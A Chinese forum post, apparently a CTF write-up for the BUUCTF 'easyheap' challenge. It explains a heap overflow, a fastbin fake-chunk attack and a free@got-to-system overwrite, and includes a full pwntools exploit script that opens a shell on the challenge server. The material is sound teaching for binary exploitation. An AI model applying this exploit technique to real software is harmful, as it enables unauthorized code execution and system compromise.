找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1072

积分

0

好友

153

主题
发表于 4 天前 | 查看: 13| 回复: 0

程序开启了Canary和NX保护,无PIE,Partial RELRO表明可以修改GOT表,这为后续的利用提供了可能。

程序功能分析

程序是一个菜单式堆管理程序,主要功能包括创建、编辑和删除堆块。

main函数

主函数是一个无限循环,处理用户输入并调用相应功能。值得注意的是,菜单中隐藏了一个选项4869,当满足条件(全局变量magic > 0x1305)时会调用l33t()函数(执行system(“cat /home/pwn/flag”))。但实际环境中该flag文件不存在,因此需另寻利用路径。

while ( 1 ) {
    menu();
    read(0, buf, 8uLL);
    v3 = atoi(buf);
    if ( v3 != 3 ) break;
    delete_heap();
}
if ( v3 > 3 ) {
    if ( v3 == 4 ) exit(0);
    if ( v3 == 4869 ) {
        if ( (unsigned __int64)magic <= 0x1305 ) {
            puts(“So sad !”);
        } else {
            puts(“Congrt !”);
            l33t();
        }
    } else {
        LABEL_17:
        puts(“Invalid Choice”);
    }
} else if ( v3 == 1 ) {
    create_heap();
} else {
    if ( v3 != 2 ) goto LABEL_17;
    edit_heap();
}

关键漏洞:edit_heap函数

edit_heap函数中存在一个典型的堆溢出漏洞。该函数允许用户指定要编辑的堆块索引和新的内容大小,但在写入时,并未检查用户输入的size是否小于或等于堆块原始大小。这导致可以溢出写入相邻堆块,是常见的渗透测试中需要关注的漏洞点。

printf(“Size of Heap : “);
read(0, buf, 8uLL);
v2 = atoi(buf); // v2为用户可控的写入长度
printf(“Content of heap : “);
read_input(*(&heaparray + v1), v2); // 可能造成溢出

利用思路

利用链主要分为四步:

  1. 伪造Fastbin Chunk:利用edit_heap的溢出漏洞,覆盖一个已释放的fastbin chunk的fd指针,使其指向bss段(如heaparray数组附近),从而在下次分配时“伪造”一个我们可以控制的chunk。
  2. 劫持heaparray指针:通过操作伪造的chunk,修改heaparray数组中的某个指针,例如让heaparray[0]指向free@got
  3. 篡改GOT表:由于heaparray[0]现在指向free@got,再次使用edit_heap编辑索引0,即可将free@got中的内容修改为system@plt的地址。
  4. 触发Shell:事先在一个可控堆块(如heaparray[1])中写入字符串”/bin/sh\x00″。当程序调用free(heaparray[1])时,实际执行的是system(“/bin/sh”),从而获得shell。

EXP与调试分析

以下为完整的利用脚本(Python,使用pwntools):

from pwn import *
context(arch = ‘amd64’, os = ‘linux’, log_level = ‘debug’)
io = remote(“node5.buuoj.cn”, 28812)
elf = ELF(“./easyheap”)
def allocate(size, payload):
    io.sendlineafter(b”Your choice :”, b’1′)
    io.sendlineafter(b”Size of Heap : “, str(size).encode())
    io.sendafter(b”Content of heap:”, payload)
def fill(index, size, payload):
    io.sendlineafter(b”Your choice :”, b’2′)
    io.sendlineafter(b”Index :”, str(index).encode())
    io.sendlineafter(b”Size of Heap : “, str(size).encode())
    io.sendafter(b”Content of heap : “, payload)
def free(index):
    io.sendlineafter(b”Your choice :”, b’3′)
    io.sendlineafter(b”Index :”, str(index).encode())
# 1. 申请两个chunk
allocate(0x60, b’aaa’)
allocate(0x60, b’aaa’)
# 2. 释放chunk1进入fastbin,并通过溢出chunk0修改其fd指针
free(1)
payload = b’a’*0x68 + p64(0x71) + p64(0x6020ad) # fd指向bss段伪造chunk
fill(0, len(payload), payload)
# 3. 两次分配,第二次得到伪造chunk。同时准备好”/bin/sh”
allocate(0x60, b’/bin/sh\x00′) # 新chunk1
payload = b’a’*0x23 + p64(elf.got[“free”]) # 通过伪造chunk修改heaparray[0]为free@got
allocate(0x60, payload) # 伪造chunk (索引2)
# 4. 通过编辑heaparray[0](即free@got),将其值改为system@plt
payload = p64(elf.plt[“system”])
fill(0, len(payload), payload)
# 5. 释放存有”/bin/sh”的chunk1,触发system(“/bin/sh”)
free(1)
io.interactive()

关键步骤调试解析

  • 初始状态:分配两个0x70大小(包含chunk头)的chunk。
  • 释放与溢出:释放chunk1后,其fd指针为NULL。通过溢出chunk0,我们将其fd覆盖为0x6020ad。这个地址位于bss段的heaparray数组之前,经过计算可以伪装成一个size0x7f的chunk,以通过fastbin的分配检查。
  • 布局内存:第一次allocate(0x60)将原chunk1分配回来,我们写入”/bin/sh\x00″。第二次allocate(0x60)将分配我们伪造的bss段chunk。通过向这个伪造chunk写入特定偏移的数据,我们精确地将heaparray[0]的值修改成了free@got的地址。
  • 完成利用:此时,编辑索引0就相当于修改free@got的内容。我们将其改为system@plt地址。最后释放索引1(内容为”/bin/sh”),程序调用free()时实际跳转至system(),成功获取shell。这种通过篡改GOT表劫持程序流的技术是渗透测试中绕过安全机制的重要手段。

总结

本题是一道经典的堆利用入门题,综合考察了以下知识点:

  1. 堆溢出漏洞的识别与利用。
  2. Fastbin Attack:通过溢出修改fd指针,在任意地址(本例为bss段)伪造chunk。
  3. 全局指针数组劫持:通过伪造chunk修改管理指针,使其指向关键函数GOT表。
  4. GOT表覆写:利用指针劫持,将free@got改写为system@plt,从而在调用free时执行system
    整个利用链清晰展示了从信息泄露(通过溢出)到最终控制流劫持(GOT Hijacking)的完整过程,是学习现代渗透测试中二进制漏洞利用的典型案例。



上一篇:英伟达芯片定位技术解析:应对出口管制的Blackwell架构安全特性
下一篇:GeminiJack零点击漏洞曝光:攻击者如何利用AI助手RAG系统窃取企业机密
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-17 16:31 , Processed in 0.101428 second(s), 37 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表